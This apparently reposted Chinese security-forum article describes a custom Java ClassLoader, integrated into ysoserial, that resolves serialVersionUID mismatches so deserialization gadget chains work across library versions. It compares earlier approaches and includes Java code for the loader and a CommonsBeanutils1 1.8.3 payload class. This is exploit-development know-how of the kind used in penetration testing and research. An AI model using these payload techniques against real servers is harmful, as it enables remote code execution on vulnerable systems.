问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
serialVesionUid不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。
使用自定义ClassLoader解决反序列化serialVesionUID不一致问题 ========================================== 0x01 背景 ------- `serialVesionUid`不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。 0x02 各方案的优劣 ----------- 在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。 **方案1:修改序列化byte数据** 该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致 **方案2:反射修改serialVesionUID** 可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。 **方案3:修改Class字节码,添加或修改serialVesionUID** 能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。 [![通过javassist给class添加serialVesionUID](https://shs3.b.qianxin.com/butian_public/fb5f40f1690a54f0191257eedeebe4e80.jpg)](https://shs3.b.qianxin.com/butian_public/fb5f40f1690a54f0191257eedeebe4e80.jpg)通过javassist给class添加serialVesionUID **方案4:Hook ObjectStreamClass.getSerialVesionUID()** 该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。 [![Hook ObjectStreamClass.getSerialVesionUID()](https://shs3.b.qianxin.com/butian_public/f8478cd01c1ce2e858103f4146a9601da.jpg)](https://shs3.b.qianxin.com/butian_public/f8478cd01c1ce2e858103f4146a9601da.jpg)Hook ObjectStreamClass.getSerialVesionUID() **方案5:URLClassLoader** 使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三: > 第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称`不一致jar`)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。 > > 第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称`可共用jar`),我们需要共享。 > > 第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。 0x03 自定义ClassLoader解决方案 ----------------------- 在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点: 1. 改双亲委派为当前ClassLoader优先,方便隔离不一致jar共享可共用jar 2. 方便添加Class和Jar到ClassLoader中 **那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?** 自定义ClassLoader可以很方便地切换`不一致jar`为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。 [![自定义ClassLoader示意图](https://shs3.b.qianxin.com/butian_public/fa911f81e6aa60bf9e66138ace6569925.jpg)](https://shs3.b.qianxin.com/butian_public/fa911f81e6aa60bf9e66138ace6569925.jpg)自定义ClassLoader示意图 下面我们分别来实现。 0x04 addClass && addJar ------------------------------- 首先我们自定义的ClassLoader需要维护要一个装载Class的Map `classByteMap`,`类名`为`键`,`类文件byte数据`为`值`。方便后续添加和获取Class。 ```php private Map<String, byte[]> classByteMap = new HashMap<String,byte[]>(); ``` addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。 ```php public void addClass(String className,byte[] classByte){ classByteMap.put(className,classByte); } ``` addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的`class name`和`class byte`,存储到`classByteMap`中。 ```php private void readJar(JarFile jar) throws IOException{ Enumeration<JarEntry> en = jar.entries(); // 遍历jar文件所有实体 while (en.hasMoreElements()){ JarEntry je = en.nextElement(); String name = je.getName(); // 只class文件进行处理 if (name.endsWith(".class")){ String clss = name.replace(".class", "").replaceAll("/", "."); if(this.findLoadedClass(clss) != null) continue; // 读取class的byte内容 InputStream input = jar.getInputStream(je); ByteArrayOutputStream baos = new ByteArrayOutputStream(); int bufferSize = 4096; byte[] buffer = new byte[bufferSize]; int bytesNumRead = 0; while ((bytesNumRead = input.read(buffer)) != -1) { baos.write(buffer, 0, bytesNumRead); } byte[] cc = baos.toByteArray(); input.close(); // 将class name 和class byte存储到classByteMap classByteMap.put(clss, cc); } } } ``` 0x05 改双亲委派为自定义ClassLoader优先 --------------------------- 要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。 ```php @Override protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { // 1. 检测自定ClassLoader缓存中有没有,有的话直接返回 Class clazz = cacheClass.get(name); if (null != clazz) { return clazz; } try { // 2. 若缓存中没有,就从当前ClassLoader可加载的所有Class中找 clazz = findClass(name); if (null != clazz) { cacheClass.put(name, clazz); }else{ clazz = super.loadClass(name, resolve); } } catch (ClassNotFoundException ex) { // 3.当自定义ClassLoader中没有找到目标class,再调用系统默认的加载机制,走双亲委派模式 clazz = super.loadClass(name, resolve); } if (resolve) { resolveClass(clazz); } return clazz; } } ``` findClass方法定义的是自定义ClassLoader查找Class的逻辑 ```php @Override protected Class<?> findClass(String name) throws ClassNotFoundException{ // 从classByteMap中获取 byte[] result = classByteMap.get(name); if(result == null){ // 没有找到则抛出对应异常 throw new ClassNotFoundException(); }else{ // 将一个字节数组转为Class对象 return defineClass(name, result, 0, result.length); } } ``` 0x06 编写版本兼容gadget ----------------- 依然以ysoserial `CommonsBeanutils1`为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的`CommonsBeanutils1_183`。 通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有`org.apache.commons.beanutils.BeanComparator`类,它在`commons-beanutils-<version>.jar`中,剩余的`commons-collections-3.1.jar`和`commons-logging-1.2.jar`为可共用jar。 [![两个版本的依赖jar生成的序列化数据对比](https://shs3.b.qianxin.com/butian_public/f0a42a186ee087ff904cda529c9ae72b6.jpg)](https://shs3.b.qianxin.com/butian_public/f0a42a186ee087ff904cda529c9ae72b6.jpg)两个版本的依赖jar生成的序列化数据对比 接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。 ```php @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF,Authors.CONY1 }) public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> { public Object getObject(String command) throws Exception { // 创建自定义ClassLoader对象 SuidClassLoader suidClassLoader = new SuidClassLoader(); // 将Gadget class添加到自定义ClassLoader中 suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class)); // 从资源目录读取commons-beanutils-1.8.3.jar的base64数据 InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt"); byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is)); // 将Gadget不一致jar添加到自定义ClassLoader中 suidClassLoader.addJar(jarBytes); Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1"); // 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的 if(BeanComparator.class.getClassLoader().equals(suidClassLoader)){ // 使用自定义ClassLoader加载的Gadget class创建对象,调用其getObject构建序列化对象 Object objGadget = clsGadget.newInstance(); Method getObject = objGadget.getClass().getDeclaredMethod("getObject",String.class); Object objPayload = getObject.invoke(objGadget,command); suidClassLoader.cleanLoader(); return objPayload; }else{ System.out.println("Class is not SuidClassLoader loading, serialization failure!"); return null; } } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils1_183.class, args); } } ``` Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目[ysoserial-woodpecker](https://github.com/woodpecker-framework/ysoserial-woodpecker.git) 0x07 参考文章 --------- - [java类中serialversionuid 作用 是什么?举个例子说明](https://www.cnblogs.com/duanxz/p/3511695.html) - [Java自定义类加载器与双亲委派模型](https://www.cnblogs.com/wxd0108/p/6681618.html) - [Java Deserialization Exploitation With Customized Ysoserial Payloads](https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/) 文章来源于c0ny1博客,原文地址:<https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/>
发表于 2021-04-16 12:01:31
阅读 ( 5560 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!